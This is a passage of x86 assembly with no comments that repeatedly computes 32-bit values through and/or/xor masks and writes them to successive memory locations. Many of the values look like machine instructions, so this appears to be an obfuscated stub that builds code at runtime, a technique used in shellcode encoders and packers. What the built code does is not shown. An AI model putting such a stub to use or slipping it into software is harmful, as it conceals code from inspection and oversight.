mov dword [ebx], eax
add ebx, edx
and eax, 0x14765891
or eax, 0x6af717f0
and eax, 0x48835041
or eax, 0x5088004
mov dword [ebx], eax
add ebx, edx
and eax, 0x7101d715
and eax, 0x1018004
or eax, 0xe803d0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x97f8a35
and eax, 0x3f9ffb1e
and eax, 0x8940900
or eax, 0x83404489
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a84b483
or eax, 0x794e5064
and eax, 0x5102c044
or eax, 0x4210411
mov dword [ebx], eax
add ebx, edx
or eax, 0x3b4b5292
xor eax, 0x57c0f914
and eax, 0x82124c0
or eax, 0x83105014
mov dword [ebx], eax
add ebx, edx
and eax, 0x588c0a39
and eax, 0
or eax, 0x8589c845
mov dword [ebx], eax
add ebx, edx
and eax, 0x5fa51f51
and eax, 0x5810840
or eax, 0xfa7ef70c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7822a947
and eax, 0x81d4440b
or eax, 0x8200980
mov dword [ebx], eax
add ebx, edx
and eax, 0xd91ae14
and eax, 0x9900800
or eax, 0xf66f408d
mov dword [ebx], eax
add ebx, edx
or eax, 0x27ab5c5d
and eax, 0x7df26087
and eax, 0x48500085
or eax, 0x80058b7a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70ed10d1
and eax, 0x6d21db48
and eax, 0x8008200
or eax, 0x81014083
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c8e4729
and eax, 0x4001
or eax, 0x858b8854
mov dword [ebx], eax
add ebx, edx
or eax, 0x52fdd819
and eax, 0xd7ffd84c
or eax, 0x28002700
mov dword [ebx], eax
add ebx, edx
and eax, 0x365e36d3
and eax, 0x19ae007f
and eax, 0x10080000
or eax, 0xef40853b
mov dword [ebx], eax
add ebx, edx
or eax, 0x22b0c96c
and eax, 0x878cd7f
or eax, 0x53280
mov dword [ebx], eax
add ebx, edx
and eax, 0x45fa175b
and eax, 0x38050b
or eax, 0x3b844880
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24180676
and eax, 0x1524004d
or eax, 0x58b400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a056be7
and eax, 0x368558a
or eax, 0x80800001
mov dword [ebx], eax
add ebx, edx
or eax, 0x30277c27
xor eax, 0x121e7178
and eax, 0x18100c2
or eax, 0x54080100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b4fc41b
and eax, 0x384481c8
or eax, 0x80010a20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2446a3a7
and eax, 0x8801280f
or eax, 0x60448700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a30dfa
and eax, 0x6cc40031
or eax, 0x1108450a
mov dword [ebx], eax
add ebx, edx
or eax, 0x746fb69c
xor eax, 0xaebdca3
and eax, 0x54040b08
or eax, 0x80498063
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42053e58
xor eax, 0x7b286632
and eax, 0xa8408301
or eax, 0x100d2c0e
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e888a21
and eax, 0xd922e6e
and eax, 0x8000800
or eax, 0x74f4453b
mov dword [ebx], eax
add ebx, edx
or eax, 0x69def1ea
and eax, 0x3c548952
or eax, 0x80010204
mov dword [ebx], eax
add ebx, edx
or eax, 0x4474cad
and eax, 0x3454450b
or eax, 0x40a01000
mov dword [ebx], eax
add ebx, edx
or eax, 0x106e8ff5
and eax, 0x70448b11
or eax, 0x80010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7dc13150
or eax, 0x57b9f74a
and eax, 0x101c002
or eax, 0x88000081
mov dword [ebx], eax
add ebx, edx
and eax, 0x240dda4a
or eax, 0x442c222a
and eax, 0x4409e000
or eax, 0x9821045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2023e8bf
and eax, 0x40575fb1
and eax, 0x400018b0
or eax, 0xac4d2340
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f28954e
and eax, 0x45093d7c
or eax, 0x10820000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d85efcb
and eax, 0x18a83b4
or eax, 0x600000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2302bc7f
and eax, 0x1000000
or eax, 0x8ab45589
mov dword [ebx], eax
add ebx, edx
or eax, 0xe9148d4
and eax, 0x8f051445
or eax, 0x200aa000
mov dword [ebx], eax
add ebx, edx
and eax, 0x568610d3
xor eax, 0x17272b2
and eax, 0x46041
or eax, 0xc0819c04
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c104b46
and eax, 0x4c812945
or eax, 0x10a0030
mov dword [ebx], eax
add ebx, edx
or eax, 0x8766daa
or eax, 0x459f5fc3
and eax, 0x1c103f8
or eax, 0x8000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c9844ff
and eax, 0x72e09088
and eax, 0xc00088
or eax, 0x8b384d01
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d0c570c
and eax, 0x15385805
or eax, 0x4003a050
mov dword [ebx], eax
add ebx, edx
and eax, 0x273e0066
and eax, 0x5080040
or eax, 0xc2017d80
mov dword [ebx], eax
add ebx, edx
or eax, 0x594cb9cb
or eax, 0x21efcb83
and eax, 0x1a841
or eax, 4
mov dword [ebx], eax
add ebx, edx
or eax, 0x11de73
and eax, 0x10000
or eax, 0x7ea0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x69cafed3
xor eax, 0x48a63db0
and eax, 0x84143
or eax, 0xa00484
mov dword [ebx], eax
add ebx, edx
or eax, 0x33d46eac
and eax, 0x2d8782d2
and eax, 0x1000000
or eax, 0x8a000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x62430337
and eax, 0x41030005
or eax, 0x420c840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22900e70
and eax, 0x796ce1cf
and eax, 0x1004000
or eax, 0x8a0934a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x43ab07cf
or eax, 0x52344f4d
and eax, 0x4101484d
or eax, 0x8082b000
mov dword [ebx], eax
add ebx, edx
or eax, 0x507f143f
or eax, 0x2c8c30a0
and eax, 0xf84d8801
or eax, 0x100
mov dword [ebx], eax
add ebx, edx
or eax, 0x999719c
and eax, 0x81cc5189
or eax, 0x2200402
mov dword [ebx], eax
add ebx, edx
and eax, 0x3efb97ed
and eax, 0x880188
or eax, 0x55010062
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa0d2279
xor eax, 0x7e46d762
and eax, 0x204080e0
or eax, 0xd0050b0c
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f4a43b9
and eax, 0x3b404131
or eax, 0xa00402
mov dword [ebx], eax
add ebx, edx
xor eax, 0x72acfce5
xor eax, 0x61388785
and eax, 0x28742841
or eax, 0x408c004
mov dword [ebx], eax
add ebx, edx
or eax, 0x5916a1c9
and eax, 0x24f039c0
and eax, 0x20500980
or eax, 0x1b80440b
mov dword [ebx], eax
add ebx, edx
and eax, 0x23526e53
and eax, 0x504001
or eax, 0x82d804c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57c55489
or eax, 0x41e6d4a2
and eax, 0x1bc85482
or eax, 0x20000109
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6ff341ea
and eax, 0x14380441
or eax, 0x844c814
mov dword [ebx], eax
add ebx, edx
or eax, 0x28927194
xor eax, 0x74b30718
and eax, 0x4c4089
or eax, 0x83a00502
mov dword [ebx], eax
add ebx, edx
and eax, 0x21f68327
and eax, 0x1800100
or eax, 0x440900e8
mov dword [ebx], eax
add ebx, edx
and eax, 0x15e37756
and eax, 0x4010140
or eax, 0xb84c8aac
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34558a36
and eax, 0x808010a
or eax, 0x33e44c01
mov dword [ebx], eax
add ebx, edx
or eax, 0x75c5e300
xor eax, 0x2605f27e
and eax, 0x8681845
or eax, 0x14a008
mov dword [ebx], eax
add ebx, edx
or eax, 0x7d0dd67f
and eax, 0x3978540b
or eax, 0x2800180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7449be1d
and eax, 0x931a014
or eax, 0x304c1441
mov dword [ebx], eax
add ebx, edx
and eax, 0x7913fa54
xor eax, 0x7e22ef5a
and eax, 0x310450a
or eax, 0x38cc0081
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a5ae81a
and eax, 0x95ce801
or eax, 0x211044
mov dword [ebx], eax
add ebx, edx
and eax, 0x412d3e51
or eax, 0x3b452108
and eax, 0x1240141
or eax, 0x804486
mov dword [ebx], eax
add ebx, edx
and eax, 0x6554f1bc
and eax, 0x1000000
or eax, 0xea000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14456760
and eax, 0xa4454700
or eax, 0x8007
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ae78f0d
xor eax, eax
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61cdee60
and eax, 0x21c44c00
or eax, 0x1210018b
mov dword [ebx], eax
add ebx, edx
or eax, 0x359d1ca4
or eax, 0x5f5cbfe5
and eax, 0x1954a44d
or eax, 0x200000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x28afeb5e
and eax, 0x31d84503
or eax, 0xa241088
mov dword [ebx], eax
add ebx, edx
or eax, 0x797bc735
or eax, 0x727140ef
and eax, 0x117dc455
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
or eax, 0x13d69c15
and eax, 0x13f44401
or eax, 0x2800018a
mov dword [ebx], eax
add ebx, edx
and eax, 0x72d354b5
xor eax, 0x359aa513
and eax, 0x148e000
or eax, 0x8350045
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d2a2be4
and eax, 0x1000000
or eax, 0x82d44d8b
mov dword [ebx], eax
add ebx, edx
and eax, 0x71cd2001
and eax, 0x1800001
or eax, 0x4c0901c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x72ef958d
and eax, 0x404581c4
or eax, 0x80100a10
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6199b478
or eax, 0x1706ae3c
and eax, 0xb7449588
or eax, 0x48000001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x572f6aa8
or eax, 0x38a5aaa
and eax, 0x18bffab
or eax, 0x44000054
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64a2fd56
xor eax, 0x6559d6bc
and eax, 0x40008004
or eax, 0x8509c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x554109fe
and eax, 0x109c4
or eax, 0x8bfef63b
mov dword [ebx], eax
add ebx, edx
and eax, 0x20b03d1a
and eax, 0x800008
or eax, 0xe903c045
mov dword [ebx], eax
add ebx, edx
and eax, 0x281cf590
and eax, 0x73895cae
and eax, 0
or eax, 0xc04d8901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2215aa42
and eax, 0xe2400103
or eax, 0x1d049488
mov dword [ebx], eax
add ebx, edx
or eax, 0x20ad24b8
and eax, 0x9529b5bb
or eax, 0x124a44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f094d6b
and eax, 0x8a32b200
or eax, 0x75cd4d40
mov dword [ebx], eax
add ebx, edx
and eax, 0x1be37100
and eax, 0x7955ef10
and eax, 0x1010000
or eax, 0x448a087c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x313e0514
and eax, 0x34050960
or eax, 0x88403294
mov dword [ebx], eax
add ebx, edx
or eax, 0x1825842f
and eax, 0xc01097d
or eax, 0x418a0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6cb78a4b
or eax, 0x5a3184dd
and eax, 0x12983b8
or eax, 0xc00000
mov dword [ebx], eax
add ebx, edx
and eax, 0x72d7c171
and eax, 0x800100
or eax, 0x8b384c89
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ae19046
and eax, 0x4119d445
or eax, 0x14222010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1211cc34
or eax, 0x47ae96a8
and eax, 0x3083ce8
or eax, 0x88014104
mov dword [ebx], eax
add ebx, edx
xor eax, 0x226d9e99
and eax, 0xa800e045
or eax, 0x40831800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3402de28
and eax, 0xd8010001
or eax, 0x20448900
mov dword [ebx], eax
add ebx, edx
or eax, 0xc0a9390
and eax, 0xfc4e0a81
or eax, 0x3b04468
mov dword [ebx], eax
add ebx, edx
or eax, 0x263f451b
and eax, 0x38461081
and eax, 0x18440081
or eax, 0xc4098b7e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a4083e9
xor eax, 0x71ccf30e
and eax, 0x1c0e900
or eax, 0x48100081
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c16fecc
and eax, 0x45800000
or eax, 0x8090000
mov dword [ebx], eax
add ebx, edx
and eax, 0x73647131
xor eax, 0x33a3850d
and eax, 0x5001810c
or eax, 0x84540ad0
mov dword [ebx], eax
add ebx, edx
and eax, 0x5141b5a1
or eax, 0x2fd505d5
and eax, 0x9d40501
or eax, 0x80085002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4efa7a53
and eax, 0x1220450
or eax, 0x8c9d005
mov dword [ebx], eax
add ebx, edx
or eax, 0x77b09a33
and eax, 0x3d04403
or eax, 0x80040188
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c717228
and eax, 0x40dc5dce
and eax, 0x40800180
or eax, 0x5090040
mov dword [ebx], eax
add ebx, edx
and eax, 0x74b890f6
and eax, 0x440800c0
or eax, 0x90458b14
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e95c327
and eax, 0x6212154a
and eax, 0x100
or eax, 0xfc04c3b
mov dword [ebx], eax
add ebx, edx
or eax, 0x19a762b2
and eax, 0x12189
or eax, 0x1004
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f89b8f1
xor eax, 0x74c260c9
and eax, 0x64410000
or eax, 0x80148b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x3696e675
and eax, 0x77cf5842
and eax, 0x14800
or eax, 0x8900a283
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c5ed079
and eax, 0x54077a3e
and eax, 0x44032010
or eax, 0x188c445
mov dword [ebx], eax
add ebx, edx
and eax, 0x60f699b2
xor eax, 0x3c19ff44
and eax, 0x48010354
or eax, 0x804400a8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7fc92887
and eax, 0xb70c0109
or eax, 0x48308480
mov dword [ebx], eax
add ebx, edx
or eax, 0x700928ac
or eax, 0x765a37cf
and eax, 0x4d0bbfef
or eax, 0x804010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75b81a1e
and eax, 0x380181e0
or eax, 0x8c0810
mov dword [ebx], eax
add ebx, edx
xor eax, 0x399ee02f
and eax, 0x3d852aef
and eax, 0x10128cf
or eax, 0x8afed730
mov dword [ebx], eax
add ebx, edx
xor eax, 0x630ac3e6
and eax, 0xe8813c11
or eax, 0x202c044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1bdc30b7
xor eax, 0x4877e669
and eax, 0xb8000801
or eax, 0x44558100
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ed0d25c
and eax, 0x7c108000
or eax, 0x832c058b
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c00816e
and eax, 0x400810a
or eax, 0x813b7ef5
mov dword [ebx], eax
add ebx, edx
or eax, 0x6eee5ba7
or eax, 0x758a681a
and eax, 0xffffff38
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6034ac50
xor eax, 0x182cdd51
and eax, 0x48081141
or eax, 0x583003c
mov dword [ebx], eax
add ebx, edx
or eax, 0x7dcad470
and eax, 0x1c18138
or eax, 0x280
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f3552b9
and eax, 0xab04101
or eax, 0x81080c88
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4af36f75
or eax, 0x1bf1140b
and eax, 0x513b3055
or eax, 0x4008800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x13da5b48
and eax, 0x70f22a48
and eax, 0x202008
or eax, 0x8b1f5ce0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42b6013e
and eax, 0x41016044
or eax, 0x4028001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c77e8e9
xor eax, 0x7edc8d1e
and eax, 0x40001b0
or eax, 0xf0453a48
mov dword [ebx], eax
add ebx, edx
or eax, 0x60a56638
and eax, 0x44813478
or eax, 0x90a0004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4537c534
and eax, 0x80c2140
or eax, 0xd04102b0
mov dword [ebx], eax
add ebx, edx
or eax, 0x36e3aa2
and eax, 0xdb240980
or eax, 0x24108409
mov dword [ebx], eax
add ebx, edx
and eax, 0x4dfc193
and eax, 0x4008181
or eax, 0x518b7e7e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52ebab25
and eax, 0x90
or eax, 0x30958924
mov dword [ebx], eax
add ebx, edx
and eax, 0x5df394fb
and eax, 0x9180b0
or eax, 0x8b6e7f4f
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e22d126
or eax, 0x9d98d25
and eax, 0xc883f045
or eax, 0x20000000
mov dword [ebx], eax
add ebx, edx
or eax, 0xfeaad45
and eax, 0x4c85d4
and eax, 0x408100
or eax, 0xf0050801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5996bd0c
and eax, 0xa9100409
or eax, 0x56248982
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fb76a7c
or eax, 0x59a03290
and eax, 0x8923f7f7
or eax, 0x4180808
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e34df3c
and eax, 0x930f2000
or eax, 0x6cf0df30
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa416e00
and eax, 0x558a0030
or eax, 0x1084c
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e36ce42
and eax, 0x2c811e30
and eax, 0xc010a10
or eax, 0xc05421c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x172f2a49
or eax, 0x550f378e
and eax, 0x450b3854
or eax, 0x800020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24915206
and eax, 0x1000250
or eax, 0xc08188
mov dword [ebx], eax
add ebx, edx
and eax, 0x53f06b0a
and eax, 0x6721ee91
and eax, 0x1000000
or eax, 0x8ad84589
mov dword [ebx], eax
add ebx, edx
and eax, 0x4eecb200
and eax, 0x8080000
or eax, 0x4533f44d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x69acf2c7
or eax, 0x432bdbbf
and eax, 0x3085c98
or eax, 0x88002040
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c0c0b8b
and eax, 0x55007851
or eax, 0x38004
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f10b025
and eax, 0xb137064
or eax, 0x800c0488
mov dword [ebx], eax
add ebx, edx
and eax, 0xb758dbd
and eax, 0xb050404
or eax, 0xa40ab041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3994c0ae
and eax, 0x80816041
or eax, 0x40048804
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e0f6de3
or eax, 0x2c967594
and eax, 0xc8a1434
or eax, 0x41010040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x406f43a6
and eax, 0x75e08abe
and eax, 0x4400290
or eax, 0xc80d2964
mov dword [ebx], eax
add ebx, edx
or eax, 0x54f3f560
or eax, 0x45fb070e
and eax, 0x5dbc4d3a
or eax, 0x20000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x62161f9a
and eax, 0x4c140b09
or eax, 0x80418000
mov dword [ebx], eax
add ebx, edx
or eax, 0x55c26ee8
or eax, 0x79d5c032
and eax, 0x8901c283
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a3a1127
and eax, 0x65f5375e
and eax, 0x41010004
or eax, 0x48acc51
mov dword [ebx], eax
add ebx, edx
or eax, 0x53421281
and eax, 0x1c88294
or eax, 0x200120
mov dword [ebx], eax
add ebx, edx
or eax, 0xa263f76
and eax, 0xba40580
or eax, 0x80104009
mov dword [ebx], eax
add ebx, edx
and eax, 0xcfbed44
and eax, 0x8804000
or eax, 0xe103a04d
mov dword [ebx], eax
add ebx, edx
and eax, 0x2700de3
and eax, 1
or eax, 0xe04d8900
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c00205f
and eax, 0x284c010b
or eax, 0x3805480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d0ec2d
and eax, 0x149004
or eax, 0x11614051
mov dword [ebx], eax
add ebx, edx
or eax, 0x62d5e7e8
xor eax, 0x1f4a63a
and eax, 0x2004183
or eax, 0x81ec0408
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f34ce7
or eax, 0x26790a73
and eax, 0x58901e8
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5746cbc3
and eax, 0x444d8be8
or eax, 0xa8000004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x234d9f05
or eax, 0x765971cd
and eax, 0x7d404529
or eax, 0xa40812
mov dword [ebx], eax
add ebx, edx
or eax, 0xcff19af
and eax, 0x38550909
or eax, 0x80008200
mov dword [ebx], eax
add ebx, edx
and eax, 0xd709321
and eax, 0x8008201
or eax, 0x81014082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x650dc363
and eax, 0x6a47042b
and eax, 0x40000000
or eax, 0x58bb855
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55714e23
xor eax, 0x497a7469
and eax, 0x1808218
or eax, 0x4001c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b72997f
and eax, 0xa900081
or eax, 0x81484508
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a088175
and eax, 0x8080001
or eax, 0x8581e04c
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ea4bb8f
or eax, 0x74d476cc
and eax, 0x7cd4f60c
or eax, 0x832b0920
mov dword [ebx], eax
add ebx, edx
and eax, 0x374295fb
and eax, 0x1401508
or eax, 0x88a84083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1eb0c7e8
and eax, 0x97580001
or eax, 0x68a72894
mov dword [ebx], eax
add ebx, edx
or eax, 0x992f348
and eax, 0xe0458bdd
or eax, 0x22
mov dword [ebx], eax
add ebx, edx
or eax, 0x34a60afa
or eax, 0x28d2dbb4
and eax, 0x8801c083
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a2dbc49
and eax, 0x74f32b22
and eax, 0x2000
or eax, 0x8d8bc045
mov dword [ebx], eax
add ebx, edx
and eax, 0x17a168f9
or eax, 0x4e17572f
and eax, 0x4f97772c
or eax, 0xb0688800
mov dword [ebx], eax
add ebx, edx
and eax, 0x2faa9730
and eax, 0x2f288520
or eax, 0xd000081b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x25bfe400
and eax, 0x815693b
or eax, 0x16896c4
mov dword [ebx], eax
add ebx, edx
and eax, 0x447551ab
and eax, 0x44518b
or eax, 0x83800400
mov dword [ebx], eax
add ebx, edx
and eax, 0x776831f5
and eax, 0x21502db7
and eax, 0x1000180
or eax, 0x5489006a
mov dword [ebx], eax
add ebx, edx
or eax, 0x18547790
or eax, 0x5748ead0
and eax, 0x5e98e9c0
or eax, 0xa0220004
mov dword [ebx], eax
add ebx, edx
or eax, 0x651e0d3d
xor eax, 0x5ed6869f
and eax, 0x1086b62
or eax, 0x4483949d
mov dword [ebx], eax
add ebx, edx
or eax, 0x3cd0457a
xor eax, 0x3f7fb0c1
and eax, 0x42000524
or eax, 0xad1a3000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e402d11
and eax, 0x6e000000
or eax, 0x80350000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73611047
and eax, 0x89000045
or eax, 0x2000030
mov dword [ebx], eax
add ebx, edx
xor eax, 0x9f2ea6a
or eax, 0x22bb32d7
and eax, 0x8081204d
or eax, 0x49000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2de542ad
and eax, 0x260
or eax, 0x409
mov dword [ebx], eax
add ebx, edx
xor eax, 0xccba816
or eax, 0x5bb4e306
and eax, 0x8efe101
or eax, 0x20000080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55dd87ed
and eax, 0x4386c724
and eax, 0x41000000
or eax, 0x88810000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44f329ac
xor eax, 0x1a40813b
and eax, 0x87
or eax, 0x1748
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe92d41f
or eax, 0x8e500c0
and eax, 0x6f3c180
or eax, 0x11083001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x587deb6
and eax, 0x80000
or eax, 0x81800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x35e8fe51
or eax, 0x54351289
and eax, 0x1e18
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f3bb222
or eax, 0x136b057d
and eax, 0x3281509
or eax, 0x80944082
mov dword [ebx], eax
add ebx, edx
and eax, 0x7925460c
and eax, 0x1000008
or eax, 0x548901e2
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b4b693c
and eax, 0x5c4109bc
or eax, 0x80048200
mov dword [ebx], eax
add ebx, edx
and eax, 0x552a4442
and eax, 0
or eax, 0x1056e05
mov dword [ebx], eax
add ebx, edx
and eax, 0x88829cb
and eax, 0x800
or eax, 0xdc458100
mov dword [ebx], eax
add ebx, edx
and eax, 0x45e2bb59
and eax, 0x400900
or eax, 0x390448b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46ad1279
xor eax, 0x6517e452
and eax, 0x89800
or eax, 0x4d81444d
mov dword [ebx], eax
add ebx, edx
and eax, 0x8d7a300
and eax, 0x8018000
or eax, 0x83086bd0
mov dword [ebx], eax
add ebx, edx
or eax, 0x12602365
and eax, 0x8201c055
or eax, 0x40821000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3f0cd12a
and eax, 0x3669045
and eax, 0x8000
or eax, 0xd0550901
mov dword [ebx], eax
add ebx, edx
and eax, 0x342ec156
and eax, 0x10000100
or eax, 0x2bd0448b
mov dword [ebx], eax
add ebx, edx
and eax, 0x5114b1fe
or eax, 0x23a40f53
and eax, 0x1040041
or eax, 0x8c0bb004
mov dword [ebx], eax
add ebx, edx
or eax, 0x2557e600
and eax, 1
or eax, 0x1b8
mov dword [ebx], eax
add ebx, edx
or eax, 0x7006e2da
or eax, 0x4db64dee
and eax, 0x21944d8b
or eax, 0x2400000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bcc6e2
and eax, 0x374c449
or eax, 0x8003004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4667adcd
and eax, 0xd005180
or eax, 0x2c4040b
mov dword [ebx], eax
add ebx, edx
and eax, 0x399c2f36
and eax, 0x1840502
or eax, 0x846850ad
mov dword [ebx], eax
add ebx, edx
and eax, 0x24420699
and eax, 0x480
or eax, 0x8b087152
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7952e8c2
and eax, 0x401a8400
or eax, 0x5216045
mov dword [ebx], eax
add ebx, edx
and eax, 0x35eaf767
xor eax, 0x28ff9681
and eax, 0x90170c4
or eax, 0x82080d18
mov dword [ebx], eax
add ebx, edx
or eax, 0x64f05cb7
and eax, 0xe981584d
or eax, 0x28000
mov dword [ebx], eax
add ebx, edx
and eax, 0x58a41195
xor eax, 0x46431aa9
and eax, 0x8410800
or eax, 0xd00c8101
mov dword [ebx], eax
add ebx, edx
and eax, 0x19ffe21b
or eax, 0x282d83e2
and eax, 0x680183
or eax, 0x83805408
mov dword [ebx], eax
add ebx, edx
and eax, 0x76f298c
and eax, 0x1080188
or eax, 0x54810062
mov dword [ebx], eax
add ebx, edx
and eax, 0x665b0e70
and eax, 0x40010060
or eax, 0x98448b88
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27223210
and eax, 0x7d600138
or eax, 0x884403
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f8677db
xor eax, 0xbd6f789
and eax, 0x54088010
or eax, 0x80450b01
mov dword [ebx], eax
add ebx, edx
and eax, 0xfeb1fe1
and eax, 0x16be7028
and eax, 0
or eax, 0x8901c183
mov dword [ebx], eax
add ebx, edx
or eax, 0x24e64c41
and eax, 0x583c441
or eax, 0x5008100c
mov dword [ebx], eax
add ebx, edx
and eax, 0x131fcdd7
and eax, 0x10044
or eax, 0xc8540b90
mov dword [ebx], eax
add ebx, edx
and eax, 0x20d5edf1
and eax, 0x10050
or eax, 0x458a5425
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b022b3f
and eax, 0x4810940
or eax, 0x20048084
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66ce72ea
or eax, 0x733ba135
and eax, 0x37bfb3f
or eax, 0x888404c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34b91e23
and eax, 0x7d1d818b
and eax, 0xd008008
or eax, 0x80894c45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5b4d7b96
and eax, 0x49e2d850
and eax, 0x40c09000
or eax, 0xbf3f6f20
mov dword [ebx], eax
add ebx, edx
and eax, 0x71609cb9
and eax, 0x180dfe14
and eax, 0x1400
or eax, 0x83c4418b
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a5b74fd
and eax, 0x10b39cdb
and eax, 0x108100ca
or eax, 0x45080120
mov dword [ebx], eax
add ebx, edx
or eax, 0x20435ba7
and eax, 0x24810bc4
or eax, 0x48000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70261aed
and eax, 0x2f1df90
and eax, 0xa19100
or eax, 0x3b5e6eff
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24571661
and eax, 0x1fa82084
or eax, 0xe0570001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5b05ecb7
and eax, 0x802a4c32
or eax, 0xb0130cd
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fb6eeb2
and eax, 0x32f41c9c
and eax, 0x200800
